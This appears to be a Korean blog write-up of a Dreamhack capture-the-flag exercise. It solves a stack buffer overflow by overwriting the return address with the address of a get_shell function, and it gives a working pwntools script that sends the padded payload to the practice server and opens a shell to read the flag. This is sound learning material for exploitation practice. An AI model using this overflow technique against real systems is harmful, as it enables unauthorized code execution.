Return Address Overwrite

곽무경·2022년 6월 30일

System Hacking Quiz

목록 보기
7/21

문제 파일을 다운로드 받고, get_shell() 함수의 주소를 확인한다.

get_shell 함수의 주소는 0x4006aa 이다. 이를 Overwrite하여 셸을 획득한다.

처음에 접속하게 되면 "Input: "이라는 문구가 출력되고, 입력을 받는다.
따라서 pwntools를 이용한다.

익스플로잇에 이용할 페이로드를 구성한다.

Exploit Tech : Return Address Overwrite 예시에 나왔던 것과 동일하게 구성한다.
리틀 엔디언을 적용하면 get_shell 함수의 주소는

\xaa\x06\x40\x00\x00\x00\x00\x00

이 된다.

이제 파이썬 코드를 작성해 보자.

from pwn import *

p=remote("host3.dreamhack.games", 13913)
context.arch="amd64"

code=b''                                   # 입력으로 전송할 code
code+=b'A'*0x30                            # buf
code+=b'B'*0x8                             # SFP (Stack Frame Pointer)
code+=b'\xaa\x06\x40\x00\x00\x00\x00\x00'  # return address → get_shell()

p.sendlineafter("Input: ", code)           # Input: 출력 후 code 전송
p.interactive()                            # 셸을 획득한 후 상호작용

이를 실행하면

셸이 실행되는데,

$ls

를 해보면 flag 파일이 있다. 이를 열어보면 flag 내용이 나온다.

0개의 댓글